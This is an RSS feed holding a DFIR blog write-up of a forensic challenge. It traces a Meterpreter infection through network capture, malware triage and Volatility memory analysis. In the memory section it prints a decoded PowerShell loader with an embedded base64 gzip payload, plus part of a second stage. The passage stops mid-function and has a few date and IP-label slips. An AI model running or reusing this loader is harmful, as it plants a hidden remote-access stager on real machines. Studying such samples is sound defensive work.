<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: chris</title>
    <description>The latest articles on DEV Community by chris (@evilcel3ri).</description>
    <link>https://dev.to/evilcel3ri</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F302321%2Fde81289b-9830-412c-acb3-2400479aedef.png</url>
      <title>DEV Community: chris</title>
      <link>https://dev.to/evilcel3ri</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/evilcel3ri"/>
    <language>en</language>
    <item>
      <title>The Case of the Missing Szechuan Sauce: investigation notes</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Thu, 20 May 2021 11:13:11 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/the-case-of-the-missing-szechuan-sauce-investigation-notes-1di7</link>
      <guid>https://dev.to/evilcel3ri/the-case-of-the-missing-szechuan-sauce-investigation-notes-1di7</guid>
      <description>&lt;p&gt;In this article, we are going to solve the challenge of the &lt;a href="https://dfirmadness.com/the-stolen-szechuan-sauce/"&gt;Case of the Missing Szechuan Sauce proposed by DFIRMadness&lt;/a&gt; . This is a Digital Forensic and Incident Response (DFIR) challenge where we will have to investigate the memory and the traces left by an infection on a server and a endpoint computer.&lt;/p&gt;

&lt;p&gt;Beyond tools and technical issues, the biggest challenge is the &lt;em&gt;method&lt;/em&gt;. Indeed, being able to navigate the large amount of data that we have was the biggest difficulty.&lt;/p&gt;

&lt;p&gt;So for that, we started from the network capture and pivoted from theories to theories until we could build a profile, timeframe and explanation of what happened. At some point, we kinda stop because we felt we could go deeper but it was unnecessary.&lt;/p&gt;

&lt;h2&gt;
  
  
  Network capture
&lt;/h2&gt;

&lt;p&gt;To make sense of the network capture, we used a tool called &lt;a href="https://www.brimsecurity.com"&gt;Brim&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Right away and from the overview quick search, we can identify a couple of endpoints and some malicious traffic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cdV0igpi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kapahy5r7v18paajw1jn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cdV0igpi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/kapahy5r7v18paajw1jn.png" alt="Brim 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here are the first indicators from a preliminary analysis:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;timestamp 7h span between 2020/09/18 21:58:07 and 2020/09/19 05:38:57 UTC&lt;/li&gt;
&lt;li&gt;10.42.85[.]10 is Domain Controller (Citadel)&lt;/li&gt;
&lt;li&gt;10.42.85[.]115 is Desktop&lt;/li&gt;
&lt;li&gt;194.61.24[.]102 is Desktop&lt;/li&gt;
&lt;li&gt;203.78.103[.]109 is malicious (&lt;a href="https://www.virustotal.com/gui/ip-address/203.78.103.109/relations"&gt;virustotal&lt;/a&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Pulling the time details of those indicators, we can get a better idea of the attack times.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vEX8X1u_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9qc47gbtwee206ifleid.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vEX8X1u_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9qc47gbtwee206ifleid.png" alt="Brim 2"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--cUnksPWn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tessxtxmwlln6qi76lxc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--cUnksPWn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tessxtxmwlln6qi76lxc.png" alt="Brim 3"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here are the first ideas:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;there were connections between the malicious IP and the internal IPs on 2021-09-19 around 2:25&lt;/li&gt;
&lt;li&gt;we don't have more information after 2:56&lt;/li&gt;
&lt;li&gt;both of the IPs have connections to the malicious IP&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If we look into the details of one of the "network trojan" alert, we can carve out a program called &lt;code&gt;coreupdater[.]exe&lt;/code&gt; which seems far from legitimate.&lt;/p&gt;

&lt;p&gt;In the next screenshot, we can see that the malicious executable files is passed from what we have identified as the Desktop (10.42.85[.]10) and one IP we identified as the Desktop (194.61.24[.]102).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--NGBas3c5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dvyak8v8wyacpyxqy7ay.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--NGBas3c5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/dvyak8v8wyacpyxqy7ay.png" alt="Brim 4"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Thus, we can suppose there was an implant on the 194 computer and then pivoted towards the DC. However, the timestamps for the moment don't make quite the whole story based on the analysis we go from Brim.&lt;/p&gt;

&lt;p&gt;Moreover, we know that &lt;code&gt;coreupdater[.]exe&lt;/code&gt; is a Meterpreter binary thus we can look for more possible techniques linked with that tool. Plus, we observed Kerberos traffic with an Administrator request. This could mean that the attacker made a privilege escalation on the desktop.&lt;/p&gt;

&lt;p&gt;So, here are the things we need to prove in the next steps:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How was the Desktop infected?&lt;/li&gt;
&lt;li&gt;How did the attacker elevate its privilege?&lt;/li&gt;
&lt;li&gt;When was the first sight of &lt;code&gt;coreupdater[.]exe&lt;/code&gt; on the Desktop?&lt;/li&gt;
&lt;li&gt;What kind of malware is &lt;code&gt;coreupdater[.]exe&lt;/code&gt;?&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Malware Analysis
&lt;/h2&gt;

&lt;p&gt;Here are the general overview of &lt;code&gt;coreupdater[.]exe&lt;/code&gt; that we carved out of the network capture:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9yV_75SS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/spxfs08o20gyt7rywemb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9yV_75SS--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/spxfs08o20gyt7rywemb.png" alt="Malware 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking a bit about the functions, we can see a little amount of function, it probably mean the malware is packed.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6StV0IvX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mx204x1bz5tr5f3oob2c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6StV0IvX--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mx204x1bz5tr5f3oob2c.png" alt="Malware 2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So for the next part, we used a dynamic analysis service:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--GDbYqMA6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ldka7lruqaxp2zvpl9xj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--GDbYqMA6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ldka7lruqaxp2zvpl9xj.png" alt="Malware 3"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s---aPvU4cr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/219300hcz67sg5x462qn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s---aPvU4cr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/219300hcz67sg5x462qn.png" alt="Malware 4"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here are some detection:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.virustotal.com/gui/file/10f3b92002bb98467334161cf85d0b1730851f9256f83c27db125e9a0c1cfda6/detection"&gt;Virustotal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.joesandbox.com/analysis/398583/0/html"&gt;Joe Sandbox&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We are not going to dwell too much on it as we already know this is Meterpreter. However, some of those information are going to be important when we'll look into the memory and the hard drive image.&lt;/p&gt;
&lt;h2&gt;
  
  
  Memory Analysis
&lt;/h2&gt;

&lt;p&gt;In this section, the goal of the work is to extract artifacts and try to build up the trail that we are going to follow in the last part of the analysis: logs.&lt;/p&gt;
&lt;h3&gt;
  
  
  Domain Controller
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;vol3 -f citadeldc01.mem windows.pstree.PsTree&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vjM8vNuh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yon27eq1syjaxzchat70.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vjM8vNuh--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/yon27eq1syjaxzchat70.png" alt="Memory 1"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;coreupdater[.]exe&lt;/code&gt; is launched with the process 3644 and the parent process 2244. None of those number can be seen in the tree. The launch date is 2020-09-19 at 3:56:37 UTC which is the last moment detection we had in the network capture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vol3 -f citadeldc01.mem windows.netscan.NetScan | tee netscan.out

cat netscan.out | grep "ESTABLISHED"
cat netscan.out | grep "coreupdater"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--R4w-8h-U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/425s0maontjcw9rfvy9q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--R4w-8h-U--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/425s0maontjcw9rfvy9q.png" alt="Memory 2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now looking at the connection scan, we can see the &lt;code&gt;coreupdater[.]exe&lt;/code&gt; file that was served with the malicious IP.&lt;/p&gt;

&lt;p&gt;In case we didn't had the malware we could extract it with the following commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vol3 -f citadeldc01.mem windows.malfind.MalFind

vol3 -f citadeldc01.mem windows.malfind.MalFind --dump
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Moreover, you can run &lt;code&gt;clamscan -o *&lt;/code&gt; in the dump folder to see if there is a possible detection on your virus. Which for our case we have:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Win.Exploit.Meterpreter-9752338-0 FOUND
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we look into registry keys, we find a suspicious key:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--K8FLXVAn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b15hw8xs0khd525uttbc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--K8FLXVAn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/b15hw8xs0khd525uttbc.png" alt="Memory 5"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can dump the content of the key with:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;vol3 &lt;span class="nt"&gt;-f&lt;/span&gt; citadelledc01.mem windows.registry.printkey.PrintKey &lt;span class="nt"&gt;--key&lt;/span&gt; &lt;span class="s2"&gt;"9sEoCawv"&lt;/span&gt; | &lt;span class="nb"&gt;tee &lt;/span&gt;regkey.out
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The content of this key has its content encoded in base64:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--uy7S0N8I--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1g447jc8dy7amojeeqd8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--uy7S0N8I--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/1g447jc8dy7amojeeqd8.png" alt="Memory 6"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is the decoded value of this first content:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;if&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-eq&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;4&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$&lt;/span&gt;&lt;span class="nn"&gt;env&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="nv"&gt;windir&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s1"&gt;'\sysnative\WindowsPowerShell\v1.0\powershell.exe'&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="kr"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'powershell.exe'&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;System.Diagnostics.ProcessStartInfo&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;FileName&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$b&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Arguments&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'-noni -nop -w hidden -c &amp;amp;([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(''H4sIACltZV8CA7VWa2+bSBT9nEj5D6iyBCiOjV2nzUaqtIAhxjWJKTZ27FoVhjFMPIADQ2zS7X/fOzakqZrstistQmIe93numbms8tijOIm53ccl4b6eHB8N3dSNOKEW33TrXC0ZjAPx6AjWa7u73ZT7wAlzebPpJpGL48XlpZqnKYrpYd64QlTOMhQtCUaZIHJ/cZMQpejsZnmHPMp95WpfGlckWbqkFCtU1wsRdybHPtsbJJ7LomnYG4KpwH/+zIvzs9aiod3nLskE3i4yiqKGTwgvct9E5nBUbJDAm9hLkyxZ0cYEx2/bjXGcuSt0DdYekIlomPgZL0IW8KaI5mnM7fNhBg7bAg/DYZp4su+nKMv4OjdnpueLxZ/CvPT7KY8pjlDDiClKk42N0gfsoazRc2OfoE9otQAtm6Y4DhaiCGIPyRoBlDkhde53zAjXaFuh9qtKwnMlkBrSVKxDIV/I00z8nKCDJv9CoKz4IjwVAQC5byfHJ8erii33xOmZz+kCo6P5fowgPGGYZHgv+IGT6pwJjlyapAVMa6M0R+LiCVyuthniUVF/3UCrkgbZtAULcyfB/gIUyoLWAm29s9jG68zsohWOUbeI3Qh7FfmEl2BGK4L2STYqsWuISeDLDeR3EUGBSxlwrNo/qWkRpk+6So6Jj1LZg1JlEBVUUfwxmEMtBN6ITRQBRoc50K+2AsqjSrqkeVF5Z3MQ4lXiZlmdG+Zw5rw6ZyOXIL/OyXGGyy05p8l+yH8P18wJxZ6b0crcQnwCsnSoJnFG09yDukHyI3uDPOwShkWd62EfKYWNg8ox/yISqksIHAWw9ACVgBWGgE0ZG1KI8VB5sWEjakQbgiIQ2h9/nbgBHPaS8Xv+uAHy+Z9irCh94C+Do8LhWYRQY5sktM45OKVwjTBo09Z/dP/s/jgEoqaorIZQnZK5UlBG7VqQYsbKEpg9DCkFCPQ0iRQ3Q+86h7tCeNPUcPd82E0eZXg0/ZPlKPbYmRmm3ye2Qe1bDQ/GYWjglhHAvBhrwZBKm4+jUa9vd3ty2t2FK9nIDK2nFFZLkb0efu/0lfEY9LA6sO52huwrUTANbtWtMQynBjhSB4ERwFcxQk+RZlKgSLo6sJVQw5Ic2FbP6rRmRvOCKPjRNmy5N3ny9+RH63R6091Ivjb7cqjf+Hqrre/110x/tr4adLX93GNz6zbTsAZ+NP3WckI0cTbKRNNnlrMxgtNtYDmDZkcPFVg38G6wsZvwtFr9h9h/NMnFownhWs6sj9HMCFARyJYs27cxsZdbVZav3hfSebwc62NYW4+MeGctN6Zf3PaafzgmRptEtjRZ1gmcykh2t91ma5IolnNujTVpV4yl3Va7a2413N+uy+/46t27oLnqDJuObcQ9N1Qg3qLfWeP+KexFriPdrpoOw6+rxc3HeErcodpKyLLZGuPue0UxMOpfmx65VyBnsHFuLRO17YUriMkILqxgmsRtdw12J4EM0UF+UOdV3wAdJSd4PT6dMlv9rRT1dxKLM+pfQGztMgaZxsa0CfHJva6txle2MW37SFeap96HN4yzQNpa0HvGxNdaiemmWegSYCj0iOpm0JNUL6/9YYKZhiDsfxbWKI0RgV4L3bg6WzIhice6zqFBQMs7NCLWF8cwfNt+cSRyT4Li93ZULV1eziBMOLBwnhoDFAc0rEu7t5IErUXadSTI8dczU5NNITBLddaZAJfSLtnbFdn5raEv9/T/hau8NUL4+P8K1/e1f9j9JQilOkv4p8UfF34Lzt/OfOJiCpI2XHsEHVrvKwCU1Hj2e8LqApVflQ/7v7zJ6dk1/LWcHP8N+iP4ZsoKAAA=''))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;UseShellExecute&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;$false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;RedirectStandardOutput&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;WindowStyle&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'Hidden'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;CreateNoWindow&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;$true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;$p&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;System.Diagnostics.Process&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;Start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;More base64! This code will get a new encoded process that we can decode again to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="kr"&gt;function&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;xKbl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="kr"&gt;Param&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$nOD&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$oLUg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$xjxX&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;AppDomain&lt;/span&gt;&lt;span class="p"&gt;]::&lt;/span&gt;&lt;span class="n"&gt;CurrentDomain.GetAssemblies&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Where-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GlobalAssemblyCache&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-And&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="bp"&gt;$_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Location&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'\\'&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="nt"&gt;-1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Equals&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'System.dll'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetType&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'Microsoft.Win32.UnsafeNativeMethods'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

    &lt;/span&gt;&lt;span class="kr"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$xjxX&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'GetProcAddress'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;Type&lt;/span&gt;&lt;span class="p"&gt;[]]@([&lt;/span&gt;&lt;span class="n"&gt;System.Runtime.InteropServices.HandleRef&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;$null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@([&lt;/span&gt;&lt;span class="n"&gt;System.Runtime.InteropServices.HandleRef&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="err"&gt;(New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;System.Runtime.InteropServices.HandleRef((New-Object&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;IntPtr&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$xjxX&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;GetMethod&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'GetModuleHandle'&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Invoke&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;$null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@(&lt;/span&gt;&lt;span class="nv"&gt;$nOD&lt;/span&gt;&lt;span class="p"&gt;)))),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$oLUg&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

